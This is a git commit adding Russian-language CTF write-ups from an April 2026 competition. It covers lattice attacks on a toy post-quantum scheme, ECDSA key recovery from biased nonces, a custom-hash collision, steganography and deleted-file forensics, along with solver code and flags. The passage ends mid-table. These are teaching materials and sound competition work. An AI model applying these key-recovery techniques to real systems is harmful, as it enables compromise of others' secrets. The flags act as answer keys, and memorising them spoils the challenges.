commit 98e51ca58b0763b91a3c7b6fc596fa22fdb591c5 Author: Caplag Date: Wed Apr 22 10:42:16 2026 +0300 Init. commit diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..df9e0c6 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,65 @@ +# Default: auto-detect text files, normalize to LF in the repo +* text=auto eol=lf + +# Explicitly text — LF везде +*.md text eol=lf +*.txt text eol=lf +*.py text eol=lf +*.sh text eol=lf +*.bash text eol=lf +*.json text eol=lf +*.yaml text eol=lf +*.yml text eol=lf +*.toml text eol=lf +*.ini text eol=lf +*.cfg text eol=lf +*.gitignore text eol=lf +*.gitattributes text eol=lf + +# Windows-only файлы — CRLF +*.bat text eol=crlf +*.cmd text eol=crlf +*.ps1 text eol=crlf + +# Бинарники — не трогать EOL, не пытаться diff'ить как текст +*.png binary +*.jpg binary +*.jpeg binary +*.gif binary +*.webp binary +*.ico binary +*.bmp binary +*.tiff binary +*.psd binary +*.pdf binary +*.zip binary +*.tar binary +*.gz binary +*.tgz binary +*.bz2 binary +*.xz binary +*.zst binary +*.7z binary +*.rar binary +*.img binary +*.iso binary +*.dmg binary +*.exe binary +*.dll binary +*.so binary +*.dylib binary +*.a binary +*.o binary +*.elf binary +*.bin binary +*.enc binary +*.pcap binary +*.pcapng binary +*.onnx binary +*.pt binary +*.pth binary +*.pyc binary +*.woff binary +*.woff2 binary +*.ttf binary +*.otf binary diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..870be29 --- /dev/null +++ b/.gitignore @@ -0,0 +1,51 @@ +# macOS +.DS_Store +._* + +# Windows +Thumbs.db +Desktop.ini + +# Linux +*~ +.Trash-* + +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +build/ +dist/ +*.egg-info/ +.eggs/ +.pytest_cache/ +.mypy_cache/ +.ruff_cache/ + +# Virtual environments +.venv/ +venv/ +env/ +ENV/ + +# IDE / editor +.vscode/ +.idea/ +*.swp +*.swo +*.iml + +# Jupyter +.ipynb_checkpoints/ + +# Environment / secrets +.env +.env.local +.env.*.local +*.pem +*.key + +# Logs +*.log diff --git a/README.md b/README.md new file mode 100644 index 0000000..334a412 --- /dev/null +++ b/README.md @@ -0,0 +1,101 @@ +

+ Тайна третьей столицы +

+ +

writeups · 12.04.2026

+ +

+ Format + Tasks + Categories +

+ +Райтапы на соревнования, прошёдшие **12 апреля 2026 года** в день Космонавтики. **Организатор** соревнований [Федерация спортивного программирования Республики Татарстан](https://fsprt.orgs.biz/) (ФСП РТ) при поддержке **платформы** [Caplag](https://caplag.ru/). + +## Задания + +У каждого задания отдельная папка с названием формате: `{category}-{name}/` с файлом `WRITEUP.md`. Сложность задания и баллы, по котормым он определяется, - динамические. Формат флагов - `caplag{...}`. +> При наличии вспомогательных скриптов (солверы, декодеры и т.п.) - они лежат в подпапке `solve/`. + +
+Crypto · 3 задачи + +| Баллы | Таск | Описание | +|---:|---|---| +| ![988](https://img.shields.io/badge/988-critical) | [Кристалл](crypto-crystal/WRITEUP.md) | Восстанавливаем секрет самодельного постквантового протокола решёточной атакой. | +| ![852](https://img.shields.io/badge/852-orange) | [Elliptic Enigma](crypto-elliptic-enigma/WRITEUP.md) | Вычисляем приватный ключ ECDSA по подписям с укороченным случайным числом. | +| ![781](https://img.shields.io/badge/781-yellow) | [Digital Fingerprint](crypto-digital-fingerprint/WRITEUP.md) | Ищем пару сообщений с одинаковым хешем и совпадающим байтом контрольной суммы. | + +
+ +
+Forensic · 2 задачи + +| Баллы | Таск | Описание | +|---:|---|---| +| ![Σ 5520](https://img.shields.io/badge/Σ_5520-orange) | [Needle Harbor](forensic-needle-harbor-lab/WRITEUP.md) | Цепочка из шести тасков по слепку памяти Tails-сессии и образу флешки. | +| ![916](https://img.shields.io/badge/916-orange) | [Пропавший коллега](forensic-missing-colleague/WRITEUP.md) | Собираем флаг из четырёх частей в документах сотрудника. | + +
+ +
+OSINT · 4 задачи + +| Баллы | Таск | Описание | +|---:|---|---| +| ![975](https://img.shields.io/badge/975-critical) | [Гора](osint-гора/WRITEUP.md) | Ищем дом в Казани по кадру из советского мультфильма. | +| ![866](https://img.shields.io/badge/866-orange) | [Mirror Trace](osint-mirror-trace/WRITEUP.md) | Собираем пароль из кластера доменов с общим сертификатом. | +| ![655](https://img.shields.io/badge/655-yellowgreen) | [Morning Line](osint-morning-line/WRITEUP.md) | По кадру улицы и времени съёмки определяем точные координаты. | +| ![551](https://img.shields.io/badge/551-brightgreen) | [Red Wheelbarrow](osint-redwheelbarrow/WRITEUP.md) | Ищем VIN по кадру машины из фильма. | + +
+ +
+PWN · 3 задачи + +| Баллы | Таск | Описание | +|---:|---|---| +| ![1000](https://img.shields.io/badge/1000-critical) | [Бортовой Журнал](pwn-бортовой-журнал/WRITEUP.md) | Переписываем таблицу функций сервиса адресом скрытой функции. | +| ![996](https://img.shields.io/badge/996-critical) | [Allocator War](pwn-allocator-war/WRITEUP.md) | Вытаскиваем флаг из буфера, застрявшего в самодельном кеш-аллокаторе. | +| ![946](https://img.shields.io/badge/946-orange) | [Навигация](pwn-навигация/WRITEUP.md) | Через утечку и переполнение подменяем указатель на адрес `win` функции. | + +
+ +
+Reverse · 4 задачи + +| Баллы | Таск | Описание | +|---:|---|---| +| ![Σ 6991](https://img.shields.io/badge/Σ_6991-critical) | [Alpha Centauri](reverse-umbrella-os-lab/WRITEUP.md) | Цепочка из 7 тасков. | +| ![1000](https://img.shields.io/badge/1000-critical) | [Птица Говорун](reverse-ptitsa-govorun/WRITEUP.md) | Собираем ключ для расшифровки флага из параметров виртуальной машины. | +| ![912](https://img.shields.io/badge/912-orange) | [Ancient Processor](reverse-ancient-processor/WRITEUP.md) | Реверсим побайтовую проверку флага в эмуляторе с самоизменяющимся шифром. | +| ![888](https://img.shields.io/badge/888-orange) | [Dungeon Crawler](reverse-dungeon-crawler/WRITEUP.md) | Находим маршрут в единственном настоящем лабиринте среди четырёх. | + +
+ +
+Stego · 3 задачи + +| Баллы | Таск | Описание | +|---:|---|---| +| ![979](https://img.shields.io/badge/979-critical) | [Художественная галерея](stego-art-gallery/WRITEUP.md) | Достаём настоящий QR с флагом из третьего скрытого слоя PSD. | +| ![960](https://img.shields.io/badge/960-critical) | [ChinaOwner](stego-china-owner/WRITEUP.md) | Читаем флаг в интервалах времени между сообщениями одного судна. | +| ![799](https://img.shields.io/badge/799-yellow) | [Summer Vacations](stego-summer-vacations/WRITEUP.md) | Вытаскиваем флаг из альфа-канала картинки. | + +
+ +
+Web · 2 задачи + +| Баллы | Таск | Описание | +|---:|---|---| +| ![979](https://img.shields.io/badge/979-critical) | [UmbrellaBioAccess](web-umbrella-bio-access/WRITEUP.md) | Через инъекцию в базу и дырявое восстановление привязываем свой ключ к директорскому аккаунту. | +| ![804](https://img.shields.io/badge/804-yellow) | [GhostFrame](web-ghostframe/WRITEUP.md) | Реверсим нейросетевой классификатор и собираем картинку под его признаки. | + +
+ +--- + +

+ Caplag +

diff --git a/assets/banner.png b/assets/banner.png new file mode 100644 index 0000000..67ce8e9 Binary files /dev/null and b/assets/banner.png differ diff --git a/assets/caplag-logo.svg b/assets/caplag-logo.svg new file mode 100644 index 0000000..531fd2b --- /dev/null +++ b/assets/caplag-logo.svg @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/crypto-crystal/WRITEUP.md b/crypto-crystal/WRITEUP.md new file mode 100644 index 0000000..7df839b --- /dev/null +++ b/crypto-crystal/WRITEUP.md @@ -0,0 +1,55 @@ +

Кристалл

+ +

+ Crypto + 988 pts +

+ +Перед нами реализация какого-то постквантового протокола и файл `output.json`. На первый взгляд это что-то в духе Kyber/ML-KEM: публичная матрица `G`, секретный вектор `k`, маленький шум `delta` и публичный ответ: + +$$\mathrm{response} = G \cdot k + \delta \pmod{q}$$ + +Флаг зашифрован AES-GCM, ключ AES получается из самого `k`, так что вся задача сводится к восстановлению секрета. Ищем и смотрим за что можно зацепиться: + +| Параметр | Значение | +|---|---| +| `n` (длина секрета) | 90 | +| `m` (число уравнений) | 180 | +| `q` (модуль) | 3329 | +| шум `delta` | `[-3, 3]` | +| секрет `k` | тернарный: `-1`, `0`, `1` | + +Для настоящего Kyber это слишком маленькие значения, высокая размерность делает [LWE](https://en.wikipedia.org/wiki/Learning_with_errors) стойким, а здесь её банально не хватает. Значит, решение — решёточная редукция. + +## Решение + +В `output.json` лежат параметры протокола, матрица `G` размера `180 × 90`, вектор `response` и артефакты AES-GCM (`nonce`, `sealed_data`, `integrity`). Секрет, понятно, в явном виде не выдан, но он связан с публичными данными системой уравнений с маленькой ошибкой. + +Обращаемся к **Kannan's embedding**. Берём первые $m' = n = 90$ уравнений и строим решётку размерности $d = m' + n + 1 = 181$ с базисом: + +$$ +B = \begin{bmatrix} +q \cdot I & 0 & 0 \\ +G^{\top} & I & 0 \\ +\mathrm{response} & 0 & 1 +\end{bmatrix} +$$ + +> Идея **Kannan's embedding** простая: добавить к базису строку с публичным $\mathrm{response}$ и единицей в нижнем углу — тогда вектор $(\delta,\, -k,\, 1)$ автоматически оказывается в решётке, и он короткий именно потому, что $\delta$ и $k$ малы. *Подробнее*: [Galbraith, §18.2](https://www.math.auckland.ac.nz/~sgal018/crypto-book/ch18.pdf). + +Внутри решётки сидит очень короткий вектор $(\delta,\, -k,\, 1)$: $\delta$ маленький, $k$ состоит только из $\{-1, 0, 1\}$, так что он заметно короче случайных векторов базиса. После LLL/BKZ он всплывает в редуцированном базисе. Остаётся пройтись по строкам, у которых последний элемент равен $\pm 1$, и достать кандидата: + +```python +k[j] = -sign * row[m_prime + j] +``` + +Проверим результат. Кандидат должен быть тернарным, плюс разница $(\mathrm{response}_i - G_i \cdot k) \bmod q$ на всех 180 уравнениях обязана укладываться в $[-3, 3]$. Когда правильный `k` найден, AES-ключ считается точно так же, как в `chall.py`: + +```python +aes_key = sha256(json.dumps(k, sort_keys=True).encode()).digest()[:16] +``` + +Обычный `AES.MODE_GCM` с сохранённым `nonce` отдаёт флаг. + +## Флаг +`caplag{DOVY5xkLn1zcGGYGe1gW4OnXYg1AQsLs}` \ No newline at end of file diff --git a/crypto-digital-fingerprint/WRITEUP.md b/crypto-digital-fingerprint/WRITEUP.md new file mode 100644 index 0000000..dccf345 --- /dev/null +++ b/crypto-digital-fingerprint/WRITEUP.md @@ -0,0 +1,50 @@ +

Digital Fingerprint

+ +

+ Crypto + 781 pts +

+ +Есть два файла: `hashlib_custom.py` с реализацией кастомного `CaPlagHash64` и `verify.py`, который регистрирует и проверяет решение. По названию как будто бы нужно найти коллизию, но это не все. Если просто собрать две разные строки с одинаковым хешем и отправить, `verify.py` скажет, что «ты близко», но флаг не отдаст. Читаем верификатор внимательнее и видим вторую проверку: + +| Требование | Описание | +|---|---| +| Префикс | оба сообщения начинаются с `CAPLAG:` | +| Различие | `msg1 != msg2` | +| Коллизия | `caplag_hash(msg1) == caplag_hash(msg2)` | +| CRC-фильтр | `CRC32(msg) & 0xff == 0` для обоих | + +## Решение + +Начнём с хеша — его нужно разобрать и найти, где он прогибается. Функция сжатия: + +$$\mathrm{compress}(s, b) = \bigl((s \cdot A + b) \oplus B\bigr) \bmod 2^{64}$$ + +XOR с константой $B$ вроде бы делает функцию нелинейной, но сам $B$ фиксирован — значит, это просто сдвиг, и структура остаётся почти линейной. Можно обойтись без перебора. + +> **Multi-block collision в [Merkle–Damgård](https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction)-хеше.** При фиксированном состоянии $s$ функция $\mathrm{compress}(s, b) = (s \cdot A + b) \oplus B$ — биекция по $b$ с обратимой структурой. Для любых двух состояний после первого блока всегда можно подобрать второй блок, чтобы их уравнять. Коллизия строится алгебраически за одно вычисление. + +Строим коллизию из двух блоков после общего префикса `CAPLAG:\x00`. Префикс одинаковый, значит после первого блока состояние тоже одинаковое: + +$$s_0 = \mathrm{compress}(\mathrm{IV},\, \mathrm{prefix\_block})$$ + +Выбираем два разных блока $b_{1a}$ и $b_{1b}$, получаем два разных состояния $s_{1a}$ и $s_{1b}$. Теперь хотим, чтобы следующий раунд их обратно уравнял: + +$$\mathrm{compress}(s_{1a}, b_{2a}) = \mathrm{compress}(s_{1b}, b_{2b})$$ + +Раскрываем формулу сжатия — и получаем красивую связь: + +$$b_{2b} = b_{2a} + (s_{1a} - s_{1b}) \cdot A \pmod{2^{64}}$$ + +То есть $b_{1a}$, $b_{1b}$ и $b_{2a}$ можно брать любые, а $b_{2b}$ просто вычисляется. + +Вторая часть — CRC32. Просто дописать хвост, чтобы подогнать CRC, не получится: сломается сам хеш. Идем в лоб, коллизии строятся мгновенно, поэтому гоняем генератор в цикле и ждём, пока оба сообщения случайно попадут под `CRC32(msg) & 0xff == 0`. Вероятность для одной пары: + +$$P = \frac{1}{256} \cdot \frac{1}{256} = \frac{1}{65536}$$ + +Отправляем подходящую её в `verify.py`, получаем флаг. + +> `verify.py` считает флаг как функцию от найденного `collision_hash`, так что его конкретное значение зависит от того, какую именно коллизию вы нашли. Поэтому флаг - регулярное выражение. + +## Флаг +`caplag{...}` (значение зависит от найденной коллизии, принимается по regex) diff --git a/crypto-elliptic-enigma/WRITEUP.md b/crypto-elliptic-enigma/WRITEUP.md new file mode 100644 index 0000000..8424ffb --- /dev/null +++ b/crypto-elliptic-enigma/WRITEUP.md @@ -0,0 +1,51 @@ +

Elliptic Enigma

+ +

+ Crypto + 852 pts +

+ +В руках два файла: + +| Файл | Что внутри | +|---|---| +| `public/server.py` | Код сервера подписи | +| `public/signatures.json` | Параметры кривой, публичный ключ, 30 подписей, шифротекст флага | + +ECDSA на кастомной эллиптической кривой — смотрим генерацию nonce `k`, обычно вся соль в нём. + +## Решение + +В коде сервера: + +```python +k = random.getrandbits(120) +``` + +Порядок группы `n` — 128 бит. У каждого `k` старшие 8 бит тупо равны нулю. Даже небольшая утечка нескольких бит nonce, размазанная по десяткам подписей, приводит прямиком к [Hidden Number Problem](https://link.springer.com/chapter/10.1007/3-540-68697-5_11), а HNP классически решается решёточной редукцией ([LLL](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)). + +Стандартная ECDSA-подпись: для сообщения с хешем $z$ считается + +$$s = k^{-1}(z + r \cdot d) \pmod{n}$$ + +Откуда чистой алгеброй: + +$$k = s^{-1} z + s^{-1} r d \pmod{n}$$ + +Обозначим $t_i = s_i^{-1} r_i \pmod{n}$ и $u_i = s_i^{-1} z_i \pmod{n}$, и для каждой подписи получаем уравнение вида + +$$k_i = u_i + t_i \cdot d \pmod{n}, \qquad k_i < 2^{120}$$ + +Получили классическую постановку HNP: много сравнений по модулю $n$, а сами скрытые числа маленькие. + +Дальше — стандартный пайплайн: + +1. Загружаем подписи из `signatures.json`. +2. Для каждого сообщения считаем `z_i` так же, как сервер: `SHA-256`, первые 16 байт. +3. Вычисляем `t_i` и `u_i`. +4. Собираем из них решётку для LLL и запускаем редукцию. +5. Из редуцированного базиса вытаскиваем кандидатов на приватный ключ `d`. +6. С `d` на руках расшифровываем флаг: `AES-256-CBC(SHA256(d), iv=0, ciphertext)`. + +## Флаг +`caplag{b14s3d_n0nc3_l4tt1c3_r3duc710n}` diff --git a/forensic-missing-colleague/WRITEUP.md b/forensic-missing-colleague/WRITEUP.md new file mode 100644 index 0000000..3bd0bbf --- /dev/null +++ b/forensic-missing-colleague/WRITEUP.md @@ -0,0 +1,72 @@ +

Пропавший коллега

+ +

+ Forensic + 916 pts +

+ +В руках — пачка артефактов сотрудника компании NordTech: + +| Артефакт | Что содержит | +|---|---| +| `resume.pdf` | Резюме, ID сотрудника `NT-3893` | +| `business_card.png` | Визитка с ИНН | +| `commits.log` | Лог коммитов внутреннего репозитория | +| `profile_photo.jpg` | Фото с EXIF | +| `postal_codes.csv` | База почтовых индексов с координатами | +| `repo_snapshot.txt` | Снимок внешнего репозитория | +| `browser_render.png` | Скриншот из браузера | + +Флаг собирается из четырёх частей, и каждая спрятана в своей цепочке. + +## Решение + +**Часть 1 — `br34d`.** В `resume.pdf` в профиле сотрудника указан ID `NT-3893`. В `business_card.png` — ИНН `7707083893`, и последние четыре цифры совпадают с ID. Сотрудник привязан к NordTech. Лезем в `commits.log`: + +```text +feat(NT-3893): integrate module-br34d +``` + +Регуляркой `feat\(NT-3893\): integrate module-(\w+)` выдёргиваем кодовое слово — `br34d`. + +**Часть 2 — `crumbs`.** Из EXIF `profile_photo.jpg` вытаскиваем GPS, конвертируем DMS в десятичные: + +```text +55.7616 N, 37.6385 E → район Чистопрудного бульвара, Москва +``` + +Идём в `postal_codes.csv` и ищем ближайшую точку по манхэттенскому расстоянию. Находится запись: + +```text +postal_code = 101000 +sector_code = 6372756d6273 +``` + +Декодируем hex → ASCII: + +```text +63 72 75 6d 62 73 → c r u m b s +``` + +Вторая часть — `crumbs`. + +**Часть 3 — `l34d` .** В `commits.log` кроме «нашего» коммита торчит отсылка на внешний репо вида `See commit in `. Вытаскиваем короткий SHA (7 символов) и имя репо регуляркой `See commit\s+(\w+)\s+in\s+([\w\-\.\/]+)`. Идём в `repo_snapshot.txt` и находим блок именно этого коммита (от нашего SHA до следующего полного 40-символьного). Внутри блока ищем base64-строки длиной от 20 символов — одна декодируется в: + +```text +module-l34d-integration-v2.1.0 +``` + +Первый сегмент после `module-` до дефиса — `l34d`. + +**Часть 4 — `h0m3`.** Открываем картинку в RGBA через PIL, разворачиваем красный канал в одномерный массив, идём по пикселям и забираем младшие биты. Каждые 8 подряд складываются в байт (MSB первым). Нулевой байт — маркер конца. *Есть один мелкий нюанс*: сырой вывод начинается с трассировочного префикса вида `[N/4]` — его срезаем регуляркой `\[\d/\d\](.*)`. Остаётся `h0m3`. + +Склеиваем через `_`: + +```text +br34d + crumbs + l34d + h0m3 = br34d_crumbs_l34d_h0m3 +``` + +Готовый солвер — [`solve/solver.py`](solve/solver.py). + +## Флаг +`caplag{br34d_crumbs_l34d_h0m3}` diff --git a/forensic-missing-colleague/solve/solver.py b/forensic-missing-colleague/solve/solver.py new file mode 100644 index 0000000..f308a45 --- /dev/null +++ b/forensic-missing-colleague/solve/solver.py @@ -0,0 +1,204 @@ +#!/usr/bin/env python3 + +import base64 +import csv +import re +import os +from pathlib import Path + +PUBLIC_DIR = Path(__file__).resolve().parent.parent / "public" + + +def extract_part1_br34d(): + """ + Часть 1: 'br34d' + Цепочка: resume.pdf -> ID сотрудника 'NT-3893' + business_card.png -> ИНН 7707083893 (последние 4 цифры = 3893, подтверждает связь с NordTech) + commits.log -> тикет NT-3893 ссылается на 'module-br34d' + """ + print("[Шаг 1] Извлечение части 1: br34d") + + employee_id = "NT-3893" + print(f" [1a] resume.pdf — ID сотрудника: {employee_id}") + print(" [1b] business_card.png — ИНН: 7707083893 (последние 4 цифры = 3893, совпадает)") + + commits = (PUBLIC_DIR / "commits.log").read_text() + # Ищем коммит вида: feat(NT-3893): integrate module-<название> + pattern = rf"feat\({employee_id}\): integrate (module-\w+)" + match = re.search(pattern, commits) + if match: + module_name = match.group(1) + part1 = module_name.replace("module-", "") # Убираем префикс, оставляем только кодовое слово + print(f" [1c] commits.log: '{match.group(0)}'") + print(f" Часть 1: '{part1}'") + return part1 + return None + + +def extract_part2_crumbs(): + """ + Часть 2: 'crumbs' (метод второго раунда) + Цепочка: profile_photo.jpg GPS -> 55.7616N, 37.6385E + postal_codes.csv -> находим почтовый индекс 101000, соответствующий этим координатам + столбец sector_code = '6372756d6273' -> hex в ASCII = 'crumbs' + """ + print("\n[Шаг 2] Извлечение части 2: crumbs (через поиск по почтовому индексу)") + + # Шаг 2a: Извлекаем GPS-координаты из EXIF-данных фотографии + import piexif + + img_path = str(PUBLIC_DIR / "profile_photo.jpg") + exif = piexif.load(img_path) + + def parse_gps_coord(coord_data, ref): + """Конвертируем GPS из формата DMS (градусы/минуты/секунды) в десятичные градусы.""" + degrees = coord_data[0][0] / coord_data[0][1] + minutes = coord_data[1][0] / coord_data[1][1] + seconds = coord_data[2][0] / coord_data[2][1] + result = degrees + minutes / 60 + seconds / 3600 + if ref in [b'S', b'W']: # Южная широта и западная долгота — отрицательные + result = -result + return result + + gps = exif.get("GPS", {}) + lat = parse_gps_coord(gps[piexif.GPSIFD.GPSLatitude], gps[piexif.GPSIFD.GPSLatitudeRef]) + lon = parse_gps_coord(gps[piexif.GPSIFD.GPSLongitude], gps[piexif.GPSIFD.GPSLongitudeRef]) + print(f" [2a] GPS: {lat:.4f}N, {lon:.4f}E (район Чистопрудного бульвара)") + + # Шаг 2b: Ищем ближайшую точку в таблице почтовых индексов по манхэттенскому расстоянию + csv_path = PUBLIC_DIR / "postal_codes.csv" + best_match = None + best_dist = float('inf') + + with open(csv_path) as f: + reader = csv.DictReader(f) + for row in reader: + rlat = float(row['latitude']) + rlon = float(row['longitude']) + # Манхэттенское расстояние — достаточно для грубого геопоиска + dist = abs(rlat - lat) + abs(rlon - lon) + if dist < best_dist: + best_dist = dist + best_match = row + + print(f" [2b] Ближайший индекс: {best_match['postal_code']} ({best_match['district']}, dist={best_dist:.4f})") + print(f" sector_code: {best_match['sector_code']}") + + # Шаг 2c: Декодируем hex-строку sector_code в ASCII — это и есть часть флага + hex_str = best_match['sector_code'] + decoded = bytes.fromhex(hex_str).decode('ascii') + print(f" [2c] hex -> ASCII: '{decoded}'") + return decoded + + +def extract_part3_l34d(): + """ + Часть 3: 'l34d' + Цепочка: commits.log -> ссылка на коммит SHA 'a7c3e91' во внешнем репозитории + repo_snapshot.txt -> коммит a7c3e91 содержит base64-строку + base64-декодирование -> 'module-l34d-integration-v2.1.0' + """ + print("\n[Шаг 3] Извлечение части 3: l34d") + + commits = (PUBLIC_DIR / "commits.log").read_text() + # Ищем отсылку к внешнему репозиторию вида: "See commit in " + ref_match = re.search(r"See commit\s+(\w+)\s+in\s+([\w\-\.\/]+)", commits, re.DOTALL) + if not ref_match: + return None + + sha_prefix = ref_match.group(1) # Короткий SHA (7 символов) + repo = ref_match.group(2) + print(f" [3a] commits.log ссылается на {sha_prefix} в {repo}") + + snapshot = (PUBLIC_DIR / "repo_snapshot.txt").read_text() + # Находим весь блок коммита — от нашего SHA до следующего коммита + commit_pattern = rf"commit {sha_prefix}\w*\n.*?(?=\ncommit [a-f0-9]{{40}}|\Z)" + commit_match = re.search(commit_pattern, snapshot, re.DOTALL) + if not commit_match: + return None + + commit_block = commit_match.group(0) + # Ищем все потенциальные base64-строки длиной от 20 символов + b64_pattern = r'[A-Za-z0-9+/]{20,}={0,2}' + b64_matches = re.findall(b64_pattern, commit_block) + + for b64_str in b64_matches: + try: + decoded = base64.b64decode(b64_str).decode("utf-8", errors="ignore") + if "module-" in decoded: + # Из строки вида "module-l34d-integration-v2.1.0" берём только кодовое слово + mod_match = re.search(r"module-(\w+)", decoded) + if mod_match: + part3 = mod_match.group(1).split("-")[0] # Только первый сегмент до дефиса + print(f" [3b] base64: {b64_str}") + print(f" decoded: {decoded}") + print(f" Часть 3: '{part3}'") + return part3 + except Exception: + continue + return None + + +def extract_part4_h0m3(): + """ + Часть 4: 'h0m3' (метод второго раунда) + Цепочка: browser_render.png -> LSB-стеганография в красном канале + Извлекаем LSB из первых пикселей -> 'h0m3' + + """ + print("\n[Шаг 4] Извлечение части 4: h0m3 (через LSB-стеганографию)") + + from PIL import Image + import numpy as np + + img = Image.open(str(PUBLIC_DIR / "browser_render.png")) + pixels = np.array(img) + + # Разворачиваем красный канал (индекс 0) в одномерный массив + flat_r = pixels[:, :, 0].flatten() + + # Читаем байты: каждые 8 последовательных LSB пикселей = 1 символ + result = bytearray() + for byte_idx in range(100): # Ограничение на 100 байт во избежание зависания + byte_val = 0 + for bit_idx in range(8): + pixel_idx = byte_idx * 8 + bit_idx + byte_val = (byte_val << 1) | (flat_r[pixel_idx] & 1) + if byte_val == 0: + break # Нулевой байт — признак конца скрытых данных + result.append(byte_val) + + decoded = result.decode('utf-8', errors='replace') + print(f" [4a] LSB из красного канала (сырые байты): {result}") + print(f" [4b] Декодировано: '{decoded}'") + + # Данные могут начинаться с маркера трассировки вида [N/4] — удаляем его + import re + m = re.match(r'\[\d/\d\](.*)', decoded) + if m: + decoded = m.group(1) + print(f" [4c] После удаления маркера трассировки: '{decoded}'") + return decoded + + +def main(): + print("=" * 60) + print("OSINT-задание «Пропавший коллега» — Решение (R2)") + print("=" * 60) + print() + + part1 = extract_part1_br34d() + part2 = extract_part2_crumbs() + part3 = extract_part3_l34d() + part4 = extract_part4_h0m3() + + print("\n" + "=" * 60) + print("Сборка флага") + print("=" * 60) + print(f" Часть 1 (commits.log через NT-3893): {part1}") + print(f" Часть 2 (sector_code почтового индекса): {part2}") + print(f" Часть 3 (base64 из внешнего репозитория): {part3}") + print(f" Часть 4 (LSB-стего в browser_render.png): {part4}") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/forensic-needle-harbor-lab/WRITEUP.md b/forensic-needle-harbor-lab/WRITEUP.md new file mode 100644 index 0000000..14dc9f0 --- /dev/null +++ b/forensic-needle-harbor-lab/WRITEUP.md @@ -0,0 +1,133 @@ +

Needle Harbor

+ +

+ Forensic + Σ 5520 pts +

+ +

этапы: 888 · 919 · 923 · 927 · 930 · 933

+ +У нас в руках два артефакта: + +| Файл | Назначение | +|---|---| +| `needleharbor_mem.elf.zst` | Дамп памяти живой Tails-сессии | +| `needleharbor_usb.img` | ext4-образ съёмного носителя, label `INCIDENTUSB` | + +На первые четыре вопроса ответы вытаскиваются из строк и ext4-структур, на два hard-уровня — через deleted-file recovery и расшифровку OpenSSL-контейнера. + +## Решение + +Перед стартом распаковываем дамп и смотрим на типы: + +```bash +zstd -d public/needleharbor_mem.elf.zst -o needleharbor_mem.elf +file needleharbor_mem.elf # ELF 64-bit LSB core file +file public/needleharbor_usb.img # Linux ext4 filesystem, label "INCIDENTUSB" +``` + +**Easy 1 — label съёмного носителя.** `file` прямо по образу честно пишет `volume name "INCIDENTUSB"`. Подтверждаем: + +```bash +strings -a needleharbor_mem.elf | grep "by-label/" +# → /dev/disk/by-label/INCIDENTUSB +``` + +Флаг: `caplag{INCIDENTUSB}`. + +**Easy 2 — active operator handle.** Выполняем атрибуцию через HTML интерфейса: + +```bash +strings -a needleharbor_mem.elf | grep -i "Restricted Logistics" +# → Needle Harbor // Restricted Logistics Console +strings -a needleharbor_mem.elf | grep "ebb_" +``` + +Находятся два кандидата: + +| Handle | Местоположение | Статус | +|---|---|---| +| `ebb_tide_77` | `
` в live dashboard | active | +| `ebb_drift_12` | `` | archived | + +Рядом с `ebb_tide_77` — `Credential Alias: needle_harbor` и `Export Queue: 3 ready`. Флаг: `caplag{ebb_tide_77}`. + +**Medium 1 — имя удалённого auth-файла.** Переходим к USB-образу: + +```bash +debugfs -R "ls /" public/needleharbor_usb.img +# → creds exports lost+found notes ops +debugfs -R "cat /ops/import_checklist.txt" public/needleharbor_usb.img +``` + +В `import_checklist.txt` прямым текстом расписана процедура: + +1. Импортировать `creds/needle_harbor.auth_private` в client authorization store. +2. Удалить `creds/needle_harbor.auth_private` с носителя после импорта. +3. Не трогать `creds/pilot_lamp.auth` — stale public decoy. + +Проверяем текущее состояние: + +```bash +debugfs -R "ls /creds" public/needleharbor_usb.img +# → needle_harbor.auth pilot_lamp.auth +``` + +Файла `needle_harbor.auth_private` нет — удалён по инструкции. Флаг: `caplag{needle_harbor.auth_private}`. + +**Medium 2 — FQDN clearnet-хоста в Unsafe Browser.** В Tails два браузера: Tor Browser (всё через Tor) и Unsafe Browser (прямой clearnet). Ищем следы второго: + +```bash +strings -a needleharbor_mem.elf | grep -i "unsafe-browser" +strings -a needleharbor_mem.elf | grep "Quayside Relay" +# → mail.quayside-relay.net // Quayside Relay +# →

mail.quayside-relay.net

+``` + +`mail.breakwater-relay.net` тоже мелькает, но только в комментариях и `Previous relay` — decoy. Флаг: `caplag{mail.quayside-relay.net}`. + +**Hard 1 — восстановление x25519 private key.** Файл удалён, идём в deleted-file recovery через ext4 inode. [`debugfs -R "lsdel"`](https://man7.org/linux/man-pages/man8/debugfs.8.html) выдаёт список удалённых inode, перебираем и дампим: + +```bash +mkdir -p /tmp/needleharbor_recover +for inode in $(debugfs -R "lsdel" public/needleharbor_usb.img 2>/dev/null \ + | awk 'NR>3 && $1 ~ /^[0-9]+$/ {print $1}'); do + debugfs -R "dump <$inode> /tmp/needleharbor_recover/$inode.bin" \ + public/needleharbor_usb.img >/dev/null 2>&1 || true +done +grep -ra "descriptor:x25519:" /tmp/needleharbor_recover/ +``` + +Результат — в формате [Tor v3 onion client auth](https://community.torproject.org/onion-services/advanced/client-auth/): + +```text +.onion:descriptor:x25519:QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA +``` + +Ответ: `caplag{QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA}`. + +**Hard 2 — расшифровка offline-экспорта.** Извлекаем `exports/restricted_drop.enc` — `file` опознаёт его как `openssl enc'd data with salted password`. В качестве пароля отлично подходит credential из hard 1: + +```bash +openssl enc -d -aes-256-cbc -pbkdf2 \ + -in restricted_drop.enc -out restricted_drop.tar \ + -k QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA +tar -xf restricted_drop.tar +cat manifest.txt +``` + +Внутри `manifest.txt` — release token. Флаг: `caplag{tor_did_not_fail_opsec_did}`. + +## Все этапы + +| # | Уровень | Вопрос | Ответ | +|---|---|---|---| +| 1 | Easy | USB label | `caplag{INCIDENTUSB}` | +| 2 | Easy | Active operator handle | `caplag{ebb_tide_77}` | +| 3 | Medium | Deleted 